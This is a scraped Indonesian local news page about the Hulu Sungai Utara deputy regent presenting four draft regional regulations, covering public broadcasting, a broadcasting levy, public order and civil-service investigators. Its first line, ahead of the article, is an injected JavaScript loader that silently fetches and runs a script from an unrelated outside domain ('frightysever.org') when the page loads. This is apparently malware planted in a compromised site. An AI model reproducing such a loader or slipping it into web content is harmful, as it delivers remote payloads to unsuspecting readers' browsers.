(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Ajukan 4 Raperda, Legalitas Penyiaran Publik Radio dan TV Amuntai


AMUNTAI, Wakil Bupati Hulu Sungai Utara (HSU) H Husairi Abdi menyampaikan penjelasan mengenai 4 buah Rancangan Peraturan Daerah (Raperda) Kabupaten HSU tahun 2018, saat rapat paripurna di DPRD HSU, Senin (17/9).

Adapun 4 Raperda yang disampaikan Raperda tentang pendirian lembaga penyiaran publik lokal radio dan televisi Amuntai milik Pemkab HSU. Raperda ini disusun berdasarkan pada ketentuan pasal 14 ayat (3) Undang-Undang Nomor 32 Tahun 2002 tentang penyiaran, dalam rangka memenuhi aspirasi masyarakat HSU yang menghendaki agar pemerintah daerah dapat memberikan informasi kepada warga masyarakat, terkait pelaksanaan pembangunan maupun informasi lainnya.

“Raperda ini diharapkan legalitas lembaga penyiaran publik lokal, baik Amuntai TV, maupun radio Suara Agung Mantap, secara hukum diakui dan sah keberadaannya karena pembentukannya telah memenuhi prosedur yang berlaku,” tutur Wabup.

Kedua, usulan Raperda tentang retribusi pemakaian lembaga penyiaran publik lokal Amuntai televisi milik Pemkab HSU. “Tujuannya untuk menggali potensi pendapatan daerah dan meningkatan pendapatan asli daerah dalam bentuk retribusi dari layanan penyiaran publik masyarakat umum maupun swasta yang hasilnya dikembalikan ke SKPD yang memberikan pelayanan,” ujarnya.

Ketiga, Raperda tentang ketertiban umum dan kententraman masyarakat, adapun tujuan dibentuknya Raperda ini dalam rangka mewujudakan HSU tertib, nyaman, tentram, kondusif, indah dan bersih.

Sedangkan Raperda terakhir terkait tentang Penyidik Pegawai Negeri Sipil (PPNS) dengan tujuan dibentuknya raperda ini agar dapat meningkatkan peranan dan mengoptimalkan PNS dalam melaksanakan tugas dan fungsinya. “Mampu menyelesaikan tugas dalam melakukan penyidikan atas pelanggaran peraturan perundang-undangan yang mengandung sanksi pidana,” ujarnya. Akan dibentuk sekretariat PPNS yang rencananya berkedudukan di Kantor Polisi Pamong Praja dan Pemadam Kebakaran Kabupaten HSU.

Wabup berharap 4 buah Raperda yang disampaikan ditanggapi dengan baik dan serius oleh para anggota dewan dan masyarakat, sehingga dapat diambil kesimpulan yang tepat guna pengembangan pembangunan di Kabupaten HSU.

Hadir memimpin rapat Ketua DPRD HSU H Syahrujani didampingi Wakil Ketua I Mawardi, Wakil Ketua II Faturrahim dihadiri pejabat Pemkab HSU, Forkopimda, organisasi, LSM, mahasiswa serta tokoh masyarakat. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

2 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

4 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

6 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

14 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

15 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

16 jam ago

This website uses cookies.